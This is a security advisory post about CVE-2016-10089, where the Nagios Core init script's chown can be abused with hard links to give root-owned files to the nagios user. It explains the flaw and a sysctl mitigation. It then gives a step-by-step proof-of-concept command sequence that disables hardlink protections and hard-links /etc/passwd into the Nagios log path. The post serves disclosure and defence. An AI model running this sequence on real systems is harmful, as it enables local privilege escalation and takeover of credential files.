michael orlitzky

CVE-2016-10089: Nagios core incomplete fix for CVE-2016-8641

posted 2016-12-30

Product
Nagios Core
Vendor
Nagios Enterprises, LLC
Versions affected
4.3.4 and earlier
Published on
2016-12-30
Fixed in
commits ef69001, 553fc81, and 166dd3a
MITRE
CVE-2016-10089
OSS-security
https://www.openwall.com/lists/oss-security/2016/12/30/5

Summary

CVE-2016-8641 describes how the unprivileged Nagios user can become root using symlinks to fool the init script. An identical attack is still possible using hard links.

Details

The init script for Nagios calls chown on a path under the control of Nagios's (usually restricted) user. CVE-2016-8641 describes an attack wherein that restricted user replaces the aforementioned path with a symlink. The root user (via the init script) will—the next time Nagios is started—give ownership of the symlink's target to Nagios's user. In that manner, the restricted Nagios user can gain root.

An identical attack not addressed by CVE-2016-8641 works with hard links. As long as no special kernel protections are in place, the restricted Nagios user can replace the path (in the directory he controls) by a hard-link. The call to chown in the init script affects the target of that hard link.

The end result is that the restricted Nagios user can gain ownership of any file on the same filesystem as its runtime directory.

Mitigation

The creation of the problematic hard link is blocked if the user has the fs.protected_hardlinks sysctl enabled. It is not enabled by default in the vanilla Linux kernel, but some distributions patch that default.

It can be enabled with (as root):

root # sysctl -w fs.protected_hardlinks=1

The grsecurity patches for the Linux kernel provide similar protection when CONFIG_GRKERNSEC_LINK=y.

Exploit

The following commands should grant ownership of /etc/passwd to the new, restricted nagios user. Beware that in order for the attack to work, some important (but non-default) sysctls are disabled. The two paths /etc/passwd and /usr/local/nagios must live on the same filesystem. Afterwards you should re-enable the two sysctls (if they were enabled to begin with), clean up /usr/local, and remove the nagios user.

user $ sudo mkdir -p /usr/local/tmp \ /usr/local/etc/init.d \ /usr/local/etc/apache2

user $ sudo chmod 777 /usr/local/tmp

user $ wget https://github.com/NagiosEnterprises/nagioscore/archive/release-4.2.4.tar.gz

user $ tar -xf release-4.2.4.tar.gz

user $ rm release-4.2.4.tar.gz

user $ cd nagioscore-release-4.2.4

user $ sudo useradd nagios -m -d /home/nagios

user $ ./configure --with-nagios-user=nagios \ --with-temp-dir=/usr/local/tmp \ --with-init-dir=/usr/local/etc/init.d \ --with-httpd-conf=/usr/local/etc/apache2

user $ make all

user $ sudo make install

user $ sudo make install-config

user $ sudo make install-init

user $ sudo sysctl -w kernel.grsecurity.linking_restrictions=0

user $ sudo sysctl -w fs.protected_hardlinks=0

user $ sudo -u nagios -s

user $ ln -f /etc/passwd /usr/local/nagios/var/nagios.log

user $ exit

user $ sudo /usr/local/etc/init.d/nagios start

user $ ls /etc/passwd